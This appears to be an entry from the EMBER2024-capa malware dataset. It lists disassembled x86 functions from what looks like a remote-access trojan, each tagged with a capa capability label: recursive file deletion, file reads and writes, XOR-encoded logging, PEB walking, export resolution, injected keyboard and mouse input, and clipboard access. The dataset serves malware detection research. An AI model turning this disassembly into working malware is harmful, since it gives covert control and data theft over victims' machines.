joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002746
Capabilities:
Enumerate files on windows

Disassembly:
mov eax, 0x10013200
call fcn.1000c73c
sub esp, 0x690
mov al, byte [ebp + 0xb]
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x24], al
mov dword [ebx + 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
push edi
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], edi
call fcn.1000323e
push str..
lea eax, [ebp - 0x69c]
push dword [ebp + 8]
push 0x1001a3a0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x69c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x100027d0
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, ebx
mov byte [ebp + 0xb], 0x68
call fcn.10004d90
mov esi, eax
jmp 0x100028df
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x244]
push 0x1001a39c
push eax
call esi
test eax, eax
je 0x10002847
lea eax, [ebp - 0x244]
push 0x1001a394
push eax
call esi
test eax, eax
je 0x10002847
mov eax, dword [ebp - 0x494]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x478]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x244]
push eax
call fcn.10003143
lea eax, [ebp - 0x494]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100027d6
cmp dword [ebp - 0x20], edi
mov esi, 0x218
jne 0x1000286e
mov dword [ebp + 8], edi
jmp 0x1000287c
mov eax, dword [ebp - 0x1c]
mov ecx, esi
sub eax, dword [ebp - 0x20]
cdq
idiv ecx
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, ebx
imul eax, eax, 0x218
inc eax
push eax
mov dword [ebp - 0x28], eax
call fcn.100021a6
cmp dword [ebp + 8], 0
mov edi, eax
mov byte [edi], 0x68
jbe 0x100028c9
mov eax, dword [ebp + 8]
and dword [ebp - 0x10], 0
lea ebx, [edi + 1]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
add ecx, eax
push esi
push ecx
push ebx
call sub.MSVCRT.dll_memcpy
add dword [ebp - 0x10], esi
add esp, 0xc
add ebx, esi
dec dword [ebp + 8]
jne 0x100028a9
mov ebx, dword [ebp - 0x2c]
push dword [ebp - 0x28]
mov ecx, ebx
push edi
call fcn.10004d90
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FindClose]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.10008860
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x100028fe
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x86c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str..
push ebx
lea eax, [ebp - 0x86c]
push 0x1001a3a0
mov dword [ebp - 4], ecx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x86c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x1000294f
xor al, al
jmp 0x100029d1
push edi
mov edi, str._s_s
cmp word [ebp - 0x228], 0x2e
je 0x100029a7
test byte [ebp - 0x254], 0x10
lea eax, [ebp - 0x228]
push eax
push ebx
push edi
je 0x1000298e
lea eax, [ebp - 0x45c]
push eax
call esi
mov ecx, dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x45c]
push eax
call fcn.100028fe
jmp 0x100029a7
lea eax, [ebp - 0x664]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x664]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x254]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10002955
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x100029d7
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x20]
push 0x208
push edi
push esi
mov dword [ebp - 0xc], ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002a24
xor eax, eax
jmp 0x10002a9e
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
lea ebx, [eax + eax + 0xb]
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call edi
lea eax, [eax + eax + 2]
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push ebx
push esi
call fcn.10004d90
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10002aa4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x10002ac3
call fcn.10002b67
xor eax, eax
jmp 0x10002b60
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10002b60
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x10002b4e
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.10004d90
mov dword [ebp - 4], eax
jmp 0x10002b56
mov ecx, dword [ebp - 4]
call fcn.10002b67
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10002c6a
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x10013228
call fcn.1000c73c
sub esp, 0x884
push ebx
push esi
push 0x208
lea eax, [ebp - 0x688]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [esi + eax*4 - 4], 0x5c
mov dword [ebp - 0x10], 0x1001a3e4
jne 0x10002cb4
mov dword [ebp - 0x10], 0x1001c408
push dword [ebp - 0x10]
lea eax, [ebp - 0x688]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x10002cf2
xor al, al
jmp 0x10002dbc
push edi
mov edi, str._s_s_s
cmp word [ebp - 0x24c], 0x2e
je 0x10002d98
lea eax, [ebp - 0x24c]
test byte [ebp - 0x278], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x10002d39
lea eax, [ebp - 0x890]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x890]
mov ecx, ebx
push eax
call fcn.10002c6a
jmp 0x10002d98
lea eax, [ebp - 0x480]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call fcn.100031b2
lea eax, [ebp - 0x480]
push eax
call sub.MSVCRT.dll_wcslen
pop ecx
push eax
lea eax, [ebp - 0x480]
push eax
lea ecx, [ebp - 0x24]
call fcn.1000328d
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10003154
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call fcn.100031b2
lea eax, [ebp - 0x278]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10002cf8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x10002f8a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.10004d90
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000419a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x100042b7
mov eax, 0x208
xor ebx, ebx
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x270]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RegOpenKeyExW
push edi
mov dword [ebp - 8], edi
call esi
push str.RegQueryValueExW
push edi
mov dword [ebp - 0x10], eax
call esi
push str.RegCloseKey
push edi
mov dword [ebp - 0x14], eax
call esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push ebx
push 0x1001abd4
push 0x80000000
call dword [ebp - 0x10]
test eax, eax
jne 0x100042b7
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x270]
push eax
push ebx
push dword [ebp - 4]
call dword [ebp - 0x14]
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x100042b7
lea eax, [ebp - 0x270]
push 0x1001a29c
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
cmp eax, ebx
pop ecx
je 0x100042b7
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x64]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x68], 0x44
je 0x1000428d
mov dword [ebp - 0x60], str.WinSta0Default
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x270]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [ebp - 8], ebx
je 0x100042b7
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10004349
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
lea eax, [ebp - 0x418]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x418]
push eax
call fcn.10009c1e
pop ecx
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x210]
push str.log.sc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor esi, esi
lea eax, [ebp - 0x210]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100043db
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esi + esi]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test esi, esi
pop ecx
mov ebx, eax
jle 0x1000440d
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dx, word [ecx + eax]
xor dx, 0x60
mov word [eax], dx
inc eax
inc eax
dec esi
jne 0x100043fd
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call edi
shl eax, 1
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004c5d
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
lea eax, [ebp - 0x214]
xor edi, edi
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], edi
call fcn.1000574e
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x214]
push eax
call fcn.10009c1e
pop ecx
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x214]
push str.log.sc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [ebp - 0x214]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10004d27
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + esi]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push edi
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, esi
shr ecx, 1
je 0x10004d12
mov eax, ebx
xor word [eax], 0x60
inc eax
inc eax
dec ecx
jne 0x10004d09
mov ecx, dword [ebp - 0xc]
push esi
push ebx
call fcn.10004c13
push ebx
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop esi
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
leave
ret
Function at 0x1000531b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x100133dc
call fcn.1000c73c
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.1000c46a
test al, al
je 0x100053af
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x10005354
call fcn.1000c2ba
mov ecx, eax
jmp 0x10005356
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x1000536f
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x1000536f
push edx
push eax
jmp 0x100053a3
push 0x120
push 0x160
call fcn.1000c532
test al, al
mov byte [ebp - 0xd], al
jne 0x100053b6
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.1000c532
test al, al
mov byte [ebp - 0xd], al
jne 0x100053b6
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.1000c532
test al, al
mov byte [ebp - 0xd], al
jne 0x100053b6
xor al, al
jmp 0x1000543b
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
lea edi, [ebp - 0x24]
push 0x94
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
test ecx, ecx
mov dword [ebp - 4], 1
je 0x100053f8
call fcn.10005516
jmp 0x100053fa
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
or dword [ebp - 4], 0xffffffff
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.10005449
test al, al
jne 0x10005430
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x10005421
mov eax, dword [ecx]
push 1
call dword [eax]
and dword [esi + 0x18], 0
inc ebx
add edi, 4
cmp ebx, 4
jb 0x100053d6
jmp 0x10005437
mov eax, dword [ebp + ebx*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x10005618
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
popal
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005641
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
cmp ebx, edi
je 0x10005711
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov esi, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
add esi, ebx
cmp eax, 0x10000
jae 0x10005690
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
add edx, ecx
cmp eax, edx
jae 0x10005711
cmp eax, ecx
jb 0x10005711
sub eax, ecx
jmp 0x100056db
mov ecx, dword [esi + 0x20]
mov dword [ebp + 8], edi
add ecx, ebx
cmp dword [esi + 0x18], edi
jbe 0x10005747
mov dword [ebp - 4], ecx
jmp 0x100056a9
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
add ecx, ebx
push ecx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100056ce
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x100056a6
jmp 0x10005747
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 8]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov edi, dword [eax + ebx]
add edi, ebx
test edi, edi
je 0x10005747
cmp edi, esi
jb 0x10005747
mov eax, dword [ebp - 8]
add eax, esi
cmp edi, eax
jae 0x10005747
mov al, byte [edi]
mov ebx, edi
test al, al
je 0x10005711
cmp al, 0x2e
je 0x10005709
mov al, byte [ebx + 1]
inc ebx
jmp 0x100056fb
mov esi, ebx
sub esi, edi
test esi, esi
jg 0x10005715
xor eax, eax
jmp 0x10005749
push esi
lea eax, [ebp - 0x10c]
push edi
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp + esi - 0x10c], 0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc ebx
push ebx
push eax
call fcn.10005641
pop ecx
mov edi, eax
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005e86
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
push edi
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x10006021
push ebx
push esi
call fcn.1000984b
mov eax, dword [ebp + 0xc]
push 0x1c
xor edx, edx
pop ecx
div ecx
push str.user32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.mouse_event
push edi
mov dword [ebp - 0x10], edi
call esi
push str.keybd_event
push edi
mov dword [ebp + 0xc], eax
call esi
push str.SetCursorPos
push edi
mov dword [ebp - 4], eax
call esi
push str.SetCapture
push edi
mov dword [ebp - 8], eax
call esi
xor esi, esi
mov dword [ebp - 0xc], eax
cmp ebx, esi
jle 0x10006014
mov eax, dword [ebp + 8]
mov dword [ebp + 8], ebx
lea edi, [eax + 8]
mov eax, dword [edi - 4]
cmp eax, 0x200
jb 0x10005f38
cmp eax, 0x208
ja 0x10005f38
mov ebx, dword [edi + 4]
movzx eax, word [edi + 4]
shr ebx, 0x10
push ebx
push eax
mov dword [ebp - 0x18], eax
call dword [ebp - 8]
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [ebp - 0xc]
mov ecx, dword [edi - 4]
mov eax, 0x203
cmp ecx, eax
ja 0x10005fa8
je 0x10005f97
sub ecx, 0x100
je 0x10005f93
dec ecx
je 0x10005f7e
sub ecx, 3
je 0x10005f93
dec ecx
je 0x10005f7e
sub ecx, 0xfc
je 0x10005f73
dec ecx
jne 0x10006005
push esi
push esi
push esi
push esi
push 4
jmp 0x10006002
push esi
push esi
push esi
push esi
push 2
jmp 0x10006002
push esi
push 2
push esi
push dword [edi]
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
mov al, byte [edi]
push eax
call dword [ebp - 4]
jmp 0x10006005
push esi
push esi
jmp 0x10005f81
push esi
push esi
push esi
push esi
push 6
call dword [ebp + 0xc]
push esi
push esi
push esi
push esi
push 6
jmp 0x10006002
sub ecx, 0x204
je 0x10005ffc
dec ecx
je 0x10005ff4
dec ecx
je 0x10005fe3
dec ecx
je 0x10005fdb
dec ecx
je 0x10005fd3
dec ecx
dec ecx
jne 0x10006005
mov eax, dword [edi]
push esi
shr eax, 0x10
movsx eax, ax
push eax
push esi
push esi
push 0x800
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x40
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x20
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x18
call dword [ebp + 0xc]
push esi
push esi
push esi
push esi
push 0x18
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x10
jmp 0x10006002
push esi
push esi
push esi
push esi
push 8
call dword [ebp + 0xc]
add edi, 0x1c
dec dword [ebp + 8]
jne 0x10005f07
mov edi, dword [ebp - 0x10]
cmp edi, esi
pop esi
pop ebx
je 0x10006021
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
leave
ret 8
Function at 0x10006026
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10006084
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000607d
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8

Function at 0x10006087
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10006103
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x100060af
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x10006103
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.10004d90
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret